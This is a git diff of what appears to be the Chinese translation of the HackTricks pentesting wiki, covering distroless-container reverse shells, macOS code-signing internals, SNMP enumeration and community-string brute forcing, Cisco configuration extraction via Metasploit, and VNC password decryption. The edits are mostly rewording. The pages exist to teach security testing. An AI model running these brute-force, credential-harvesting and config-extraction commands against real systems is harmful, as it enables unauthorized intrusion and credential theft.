@ -124,7 +124,7 @@ Distroless 容器的目标是 **通过消除不必要的组件来减少容器的
|
||||||
使用脚本语言,您可以 **使用语言功能枚举系统**。
|
使用脚本语言,您可以 **使用语言功能枚举系统**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
如果没有 **`read-only/no-exec`** 保护,您可以利用反向 shell **在文件系统中写入您的二进制文件** 并 **执行** 它们。
|
如果没有 **`read-only/no-exec`** 保护,您可以利用您的反向 shell **在文件系统中写入您的二进制文件** 并 **执行** 它们。
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
然而,在这种类型的容器中,这些保护通常会存在,但您可以使用 **先前的内存执行技术来绕过它们**。
|
然而,在这种类型的容器中,这些保护通常会存在,但您可以使用 **先前的内存执行技术来绕过它们**。
|
||||||
|
@ -132,7 +132,7 @@ Distroless 容器的目标是 **通过消除不必要的组件来减少容器的
|
||||||
|
|
||||||
您可以在 [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) 找到 **示例**,了解如何 **利用一些 RCE 漏洞** 获取脚本语言的 **反向 shell** 并从内存中执行二进制文件。
|
您可以在 [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) 找到 **示例**,了解如何 **利用一些 RCE 漏洞** 获取脚本语言的 **反向 shell** 并从内存中执行二进制文件。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果您对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果您对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
|
|
@ -19,9 +19,9 @@
|
||||||
|
|
||||||
Mach-o 二进制文件包含一个加载命令 **`LC_CODE_SIGNATURE`**,指示二进制文件内部签名的 **偏移量** 和 **大小**。实际上,使用 GUI 工具 MachOView,可以在二进制文件的末尾找到一个名为 **Code Signature** 的部分,其中包含这些信息:
|
Mach-o 二进制文件包含一个加载命令 **`LC_CODE_SIGNATURE`**,指示二进制文件内部签名的 **偏移量** 和 **大小**。实际上,使用 GUI 工具 MachOView,可以在二进制文件的末尾找到一个名为 **Code Signature** 的部分,其中包含这些信息:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
代码签名的魔术头是 **`0xFADE0CC0`**。然后你会看到一些信息,例如 superBlob 的长度和 blob 的数量。\
|
代码签名的魔术头是 **`0xFADE0CC0`**。然后你会得到一些信息,例如包含它们的 superBlob 的长度和 blob 数量。\
|
||||||
可以在 [源代码这里](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) 找到这些信息:
|
可以在 [源代码这里](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) 找到这些信息:
|
||||||
```c
|
```c
|
||||||
/*
|
/*
|
||||||
|
@ -51,8 +51,8 @@ char data[];
|
||||||
} CS_GenericBlob
|
} CS_GenericBlob
|
||||||
__attribute__ ((aligned(1)));
|
__attribute__ ((aligned(1)));
|
||||||
```
|
```
|
||||||
常见的包含的 blob 有代码目录、要求和权限以及加密消息语法 (CMS)。\
|
常见的 blob 包含代码目录、要求和权限以及加密消息语法 (CMS)。\
|
||||||
此外,请注意 blob 中编码的数据是以 **大端格式** 编码的。
|
此外,请注意 blob 中编码的数据是以 **大端字节序** 编码的。
|
||||||
|
|
||||||
此外,签名可以从二进制文件中分离并存储在 `/var/db/DetachedSignatures`(iOS 使用)。
|
此外,签名可以从二进制文件中分离并存储在 `/var/db/DetachedSignatures`(iOS 使用)。
|
||||||
|
|
||||||
|
@ -118,7 +118,7 @@ __attribute__ ((aligned(1)));
|
||||||
|
|
||||||
## 签名代码页面
|
## 签名代码页面
|
||||||
|
|
||||||
对完整二进制文件进行哈希会低效,甚至在其仅部分加载到内存时毫无意义。因此,代码签名实际上是哈希的哈希,其中每个二进制页面单独进行哈希。\
|
对完整二进制文件进行哈希会低效且无用,因为它可能只在内存中部分加载。因此,代码签名实际上是哈希的哈希,其中每个二进制页面都是单独哈希的。\
|
||||||
实际上,在之前的 **Code Directory** 代码中,您可以看到 **页面大小在其字段中被指定**。此外,如果二进制文件的大小不是页面大小的倍数,字段 **CodeLimit** 指定了签名的结束位置。
|
实际上,在之前的 **Code Directory** 代码中,您可以看到 **页面大小在其字段中被指定**。此外,如果二进制文件的大小不是页面大小的倍数,字段 **CodeLimit** 指定了签名的结束位置。
|
||||||
```bash
|
```bash
|
||||||
# Get all hashes of /bin/ps
|
# Get all hashes of /bin/ps
|
||||||
|
@ -157,7 +157,7 @@ openssl sha256 /tmp/*.page.*
|
||||||
```
|
```
|
||||||
## Entitlements Blob
|
## Entitlements Blob
|
||||||
|
|
||||||
请注意,应用程序可能还包含一个**权限 blob**,其中定义了所有权限。此外,一些 iOS 二进制文件可能在特殊槽 -7 中具有其特定权限(而不是在 -5 权限特殊槽中)。
|
注意,应用程序可能还包含一个**权限 blob**,其中定义了所有权限。此外,一些 iOS 二进制文件可能在特殊槽 -7 中具有其特定权限(而不是在 -5 权限特殊槽中)。
|
||||||
|
|
||||||
## Special Slots
|
## Special Slots
|
||||||
|
|
||||||
|
@ -266,7 +266,7 @@ od -A x -t x1 /tmp/output.csreq
|
||||||
|
|
||||||
#### **检查有效性**
|
#### **检查有效性**
|
||||||
|
|
||||||
* **`Sec[Static]CodeCheckValidity`**:根据要求检查 SecCodeRef 的有效性。
|
* **`Sec[Static]CodeCheckValidity`**:检查 SecCodeRef 是否符合要求的有效性。
|
||||||
* **`SecRequirementEvaluate`**:在证书上下文中验证要求。
|
* **`SecRequirementEvaluate`**:在证书上下文中验证要求。
|
||||||
* **`SecTaskValidateForRequirement`**:验证正在运行的 SecTask 是否符合 `CFString` 要求。
|
* **`SecTaskValidateForRequirement`**:验证正在运行的 SecTask 是否符合 `CFString` 要求。
|
||||||
|
|
||||||
|
@ -284,7 +284,7 @@ od -A x -t x1 /tmp/output.csreq
|
||||||
|
|
||||||
#### **修改代码要求**
|
#### **修改代码要求**
|
||||||
|
|
||||||
* **`SecCodeSignerCreate`**:创建一个 `SecCodeSignerRef` 对象以执行代码签名操作。
|
* **`SecCodeSignerCreate`**:创建 `SecCodeSignerRef` 对象以执行代码签名操作。
|
||||||
* **`SecCodeSignerSetRequirement`**:为代码签名者设置在签名期间应用的新要求。
|
* **`SecCodeSignerSetRequirement`**:为代码签名者设置在签名期间应用的新要求。
|
||||||
* **`SecCodeSignerAddSignature`**:将签名添加到使用指定签名者签名的代码中。
|
* **`SecCodeSignerAddSignature`**:将签名添加到使用指定签名者签名的代码中。
|
||||||
|
|
||||||
|
@ -308,11 +308,11 @@ od -A x -t x1 /tmp/output.csreq
|
||||||
|
|
||||||
## 代码签名强制执行
|
## 代码签名强制执行
|
||||||
|
|
||||||
**内核**是在允许应用程序代码执行之前**检查代码签名**的。此外,能够在内存中写入和执行新代码的一种方法是滥用 JIT,如果 `mprotect` 被调用时带有 `MAP_JIT` 标志。请注意,应用程序需要特殊的权限才能做到这一点。
|
**内核**是在允许应用程序代码执行之前**检查代码签名**的。此外,能够在内存中写入和执行新代码的一种方法是滥用 JIT,如果 `mprotect` 以 `MAP_JIT` 标志调用。请注意,应用程序需要特殊的权限才能做到这一点。
|
||||||
|
|
||||||
## `cs_blobs` & `cs_blob`
|
## `cs_blobs` & `cs_blob`
|
||||||
|
|
||||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) 结构包含有关正在运行的进程的权限信息。 `csb_platform_binary` 还指示应用程序是否为平台二进制文件(操作系统在不同时间检查这一点,以应用安全机制,例如保护这些进程的任务端口的 SEND 权限)。
|
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) 结构包含有关正在运行的进程的权限信息。 `csb_platform_binary` 还指示应用程序是否为平台二进制文件(操作系统在不同时间检查以应用安全机制,例如保护这些进程的任务端口的 SEND 权限)。
|
||||||
```c
|
```c
|
||||||
struct cs_blob {
|
struct cs_blob {
|
||||||
struct cs_blob *csb_next;
|
struct cs_blob *csb_next;
|
||||||
|
@ -384,8 +384,8 @@ bool csb_csm_managed;
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,7 +15,7 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
@ -34,7 +34,7 @@ SNMP 还使用端口 **162/UDP** 进行 **traps**。这些是 **从 SNMP 服务
|
||||||
|
|
||||||
### MIB
|
### MIB
|
||||||
|
|
||||||
为了确保 SNMP 访问在不同制造商和不同客户端-服务器组合之间正常工作,创建了 **管理信息库 (MIB)**。MIB 是 **存储设备信息的独立格式**。MIB 是一个 **文本** 文件,其中列出了设备的所有可查询 **SNMP 对象**,以 **标准化** 的树形层次结构呈现。它至少包含一个 `对象标识符` (`OID`),该标识符除了必要的 **唯一地址** 和 **名称** 外,还提供有关相应对象的类型、访问权限和描述的信息。\
|
为了确保 SNMP 访问在不同制造商和不同客户端-服务器组合之间正常工作,创建了 **管理信息库 (MIB)**。MIB 是 **存储设备信息的独立格式**。MIB 是一个 **文本** 文件,其中列出了设备的所有可查询 **SNMP 对象**,以 **标准化** 的树形层次结构呈现。它至少包含一个 `对象标识符` (`OID`),该标识符除了必要的 **唯一地址** 和 **名称** 外,还提供有关类型、访问权限和相应对象描述的信息。\
|
||||||
MIB 文件采用 `抽象语法标记一` (`ASN.1`) 基于 ASCII 文本格式编写。**MIB 不包含数据**,但它解释了 **在哪里找到哪些信息** 以及它的外观,返回特定 OID 的值,或使用了哪种数据类型。
|
MIB 文件采用 `抽象语法标记一` (`ASN.1`) 基于 ASCII 文本格式编写。**MIB 不包含数据**,但它解释了 **在哪里找到哪些信息** 以及它的外观,返回特定 OID 的值,或使用了哪种数据类型。
|
||||||
|
|
||||||
### OIDs
|
### OIDs
|
||||||
|
@ -47,7 +47,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
||||||
|
|
||||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||||
|
|
||||||
您可以通过网络 **浏览** OID 树: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 或 **查看 OID 的含义**(如 `1.3.6.1.2.1.1`)访问 [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
|
您可以通过此网站 **浏览** **OID 树**: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 或 **查看 OID 的含义**(如 `1.3.6.1.2.1.1`)访问 [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
|
||||||
有一些 **众所周知的 OID**,例如 [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 中的 OID,引用了 MIB-2 定义的简单网络管理协议 (SNMP) 变量。从 **此 OID 的待处理 OID** 中,您可以获取一些有趣的主机数据(系统数据、网络数据、进程数据...)
|
有一些 **众所周知的 OID**,例如 [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 中的 OID,引用了 MIB-2 定义的简单网络管理协议 (SNMP) 变量。从 **此 OID 的待处理 OID** 中,您可以获取一些有趣的主机数据(系统数据、网络数据、进程数据...)
|
||||||
|
|
||||||
### **OID 示例**
|
### **OID 示例**
|
||||||
|
@ -69,7 +69,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
||||||
|
|
||||||
接下来是下一组数字。
|
接下来是下一组数字。
|
||||||
|
|
||||||
* 1452 – 给出制造该设备的组织的名称。
|
* 1452 – 给出制造该设备的组织名称。
|
||||||
* 1 – 解释设备的类型。在这种情况下,它是一个闹钟。
|
* 1 – 解释设备的类型。在这种情况下,它是一个闹钟。
|
||||||
* 2 – 确定该设备是一个远程终端单元。
|
* 2 – 确定该设备是一个远程终端单元。
|
||||||
|
|
||||||
|
@ -85,9 +85,9 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
||||||
|
|
||||||
### SNMP 版本
|
### SNMP 版本
|
||||||
|
|
||||||
有 2 个重要的 SNMP 版本:
|
SNMP 有两个重要版本:
|
||||||
|
|
||||||
* **SNMPv1**:主要版本,仍然是最常见的,**身份验证基于字符串**(社区字符串),以 **明文** 形式传输(所有信息以明文形式传输)。**版本 2 和 2c** 也以 **明文** 发送 **流量**,并使用 **社区字符串作为身份验证**。
|
* **SNMPv1**:主要版本,仍然是最常用的,**身份验证基于字符串**(社区字符串),以 **明文** 形式传输(所有信息以明文形式传输)。**版本 2 和 2c** 也以 **明文** 发送 **流量**,并使用 **社区字符串作为身份验证**。
|
||||||
* **SNMPv3**:使用更好的 **身份验证** 形式,信息以 **加密** 形式传输(可以进行 **字典攻击**,但找到正确的凭据比在 SNMPv1 和 v2 中要困难得多)。
|
* **SNMPv3**:使用更好的 **身份验证** 形式,信息以 **加密** 形式传输(可以进行 **字典攻击**,但找到正确的凭据比在 SNMPv1 和 v2 中要困难得多)。
|
||||||
|
|
||||||
### 社区字符串
|
### 社区字符串
|
||||||
|
@ -98,14 +98,14 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
||||||
* **`public`** 主要是 **只读** 功能
|
* **`public`** 主要是 **只读** 功能
|
||||||
* **`private`** **读/写** 一般
|
* **`private`** **读/写** 一般
|
||||||
|
|
||||||
请注意,**OID 的可写性取决于使用的社区字符串**,因此 **即使** 您发现使用了“**public**”,您也可能能够 **写入某些值。** 另外,可能存在 **始终为“只读”的对象**。\
|
请注意,**OID 的可写性取决于使用的社区字符串**,因此 **即使** 您发现“**public**”正在使用,您也可能能够 **写入某些值。** 另外,可能存在 **始终为“只读”的对象**。\
|
||||||
如果您尝试 **写入** 一个对象,将收到 **`noSuchName` 或 `readOnly` 错误**\*\*.\*\*
|
如果您尝试 **写入** 一个对象,将收到 **`noSuchName` 或 `readOnly` 错误**\*\*.\*\*
|
||||||
|
|
||||||
在版本 1 和 2/2c 中,如果您使用 **错误** 的社区字符串,服务器将不会 **响应**。因此,如果它响应,则使用了 **有效的社区字符串**。
|
在版本 1 和 2/2c 中,如果您使用 **错误** 的社区字符串,服务器将不会 **响应**。因此,如果它响应,则使用了 **有效的社区字符串**。
|
||||||
|
|
||||||
## 端口
|
## 端口
|
||||||
|
|
||||||
[来自维基百科](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
|
[来自维基百科](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
|
||||||
|
|
||||||
* SNMP 代理在 UDP 端口 **161** 上接收请求。
|
* SNMP 代理在 UDP 端口 **161** 上接收请求。
|
||||||
* 管理器在端口 **162** 上接收通知([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) 和 [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))。
|
* 管理器在端口 **162** 上接收通知([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) 和 [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))。
|
||||||
|
@ -113,7 +113,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
||||||
|
|
||||||
## 暴力破解社区字符串 (v1 和 v2c)
|
## 暴力破解社区字符串 (v1 和 v2c)
|
||||||
|
|
||||||
要 **猜测社区字符串**,您可以执行字典攻击。查看 [这里不同的方法以对 SNMP 执行暴力攻击](../../generic-methodologies-and-resources/brute-force.md#snmp)。一个常用的社区字符串是 `public`。
|
要 **猜测社区字符串**,您可以执行字典攻击。查看 [这里不同的方法以对 SNMP 执行暴力破解攻击](../../generic-methodologies-and-resources/brute-force.md#snmp)。一个常用的社区字符串是 `public`。
|
||||||
|
|
||||||
## 枚举 SNMP
|
## 枚举 SNMP
|
||||||
|
|
||||||
|
@ -140,7 +140,7 @@ nmap --script "snmp* and not snmp-brute" <target>
|
||||||
|
|
||||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||||
```
|
```
|
||||||
感谢扩展查询(download-mibs),可以使用以下命令枚举更多关于系统的信息:
|
感谢扩展查询(download-mibs),可以通过以下命令枚举更多关于系统的信息:
|
||||||
```bash
|
```bash
|
||||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||||
```
|
```
|
||||||
|
@ -177,7 +177,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||||
|
|
||||||
### Cisco
|
### Cisco
|
||||||
|
|
||||||
如果您使用的是 Cisco 设备,请查看此页面:
|
如果您使用 Cisco 设备,请查看此页面:
|
||||||
|
|
||||||
{% content-ref url="cisco-snmp.md" %}
|
{% content-ref url="cisco-snmp.md" %}
|
||||||
[cisco-snmp.md](cisco-snmp.md)
|
[cisco-snmp.md](cisco-snmp.md)
|
||||||
|
@ -185,7 +185,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||||
|
|
||||||
## 从 SNMP 到 RCE
|
## 从 SNMP 到 RCE
|
||||||
|
|
||||||
如果您拥有允许您 **写入值** 到 SNMP 服务的 **字符串**,您可能能够利用它来 **执行命令**:
|
如果您拥有允许您 **写入值** 的 **字符串**,您可能能够利用它来 **执行命令**:
|
||||||
|
|
||||||
{% content-ref url="snmp-rce.md" %}
|
{% content-ref url="snmp-rce.md" %}
|
||||||
[snmp-rce.md](snmp-rce.md)
|
[snmp-rce.md](snmp-rce.md)
|
||||||
|
@ -197,7 +197,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||||
|
|
||||||
Braa 实现了自己的 SNMP 栈,因此不需要任何 SNMP 库,如 net-snmp。
|
Braa 实现了自己的 SNMP 栈,因此不需要任何 SNMP 库,如 net-snmp。
|
||||||
|
|
||||||
**语法:** braa \[社区字符串\]@\[\[SNMP 服务器的 IP\]:\[iso id\]
|
**语法:** braa \[社区字符串\]@\[\[SNMP 服务器的 IP\]:\[iso id\]
|
||||||
```bash
|
```bash
|
||||||
braa ignite123@192.168.1.125:.1.3.6.*
|
braa ignite123@192.168.1.125:.1.3.6.*
|
||||||
```
|
```
|
||||||
|
@ -219,7 +219,7 @@ grep -i "trap" *.snmp
|
||||||
```
|
```
|
||||||
### **用户名/密码**
|
### **用户名/密码**
|
||||||
|
|
||||||
存储在 MIB 表中的日志会被检查以寻找 **失败的登录尝试**,这可能意外地包括作为用户名输入的密码。搜索关键词如 _fail_、_failed_ 或 _login_ 以找到有价值的数据:
|
存储在 MIB 表中的日志会被检查以寻找 **失败的登录尝试**,这些尝试可能意外地将输入的密码包含为用户名。搜索关键词如 _fail_、_failed_ 或 _login_ 以找到有价值的数据:
|
||||||
```bash
|
```bash
|
||||||
grep -i "login\|fail" *.snmp
|
grep -i "login\|fail" *.snmp
|
||||||
```
|
```
|
||||||
|
@ -243,7 +243,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||||
* snmpd.conf
|
* snmpd.conf
|
||||||
* snmp-config.xml
|
* snmp-config.xml
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果您对 **黑客职业** 感兴趣并想要破解不可破解的 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_)。
|
如果您对 **黑客职业** 感兴趣并想要破解不可破解的 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
|
@ -294,7 +294,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,9 +15,9 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -31,7 +31,7 @@ onesixtyone -c communitystrings -i targets
|
||||||
```
|
```
|
||||||
#### `cisco_config_tftp`
|
#### `cisco_config_tftp`
|
||||||
|
|
||||||
Metasploit框架具有`cisco_config_tftp`模块,便于提取设备配置,前提是获取RW社区字符串。此操作的基本参数包括:
|
Metasploit框架包含`cisco_config_tftp`模块,便于提取设备配置,前提是获取RW社区字符串。此操作的基本参数包括:
|
||||||
|
|
||||||
* RW社区字符串 (**COMMUNITY**)
|
* RW社区字符串 (**COMMUNITY**)
|
||||||
* 攻击者的IP (**LHOST**)
|
* 攻击者的IP (**LHOST**)
|
||||||
|
@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||||
|
|
||||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
|
|
|
@ -9,13 +9,13 @@
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
@ -50,7 +50,7 @@ vncviewer [-passwd passwd.txt] <IP>::5901
|
||||||
make
|
make
|
||||||
vncpwd <vnc password file>
|
vncpwd <vnc password file>
|
||||||
```
|
```
|
||||||
您可以这样做,因为用于在3des中加密明文VNC密码的密码多年前已被破解。\
|
您可以这样做,因为用于在3des中加密明文VNC密码的密码多年前已被逆向。\
|
||||||
对于**Windows**,您还可以使用此工具:[https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
对于**Windows**,您还可以使用此工具:[https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||||
我在这里也保存了该工具以便于访问:
|
我在这里也保存了该工具以便于访问:
|
||||||
|
|
||||||
|
@ -60,7 +60,7 @@ vncpwd <vnc password file>
|
||||||
|
|
||||||
* `port:5900 RFB`
|
* `port:5900 RFB`
|
||||||
|
|
||||||
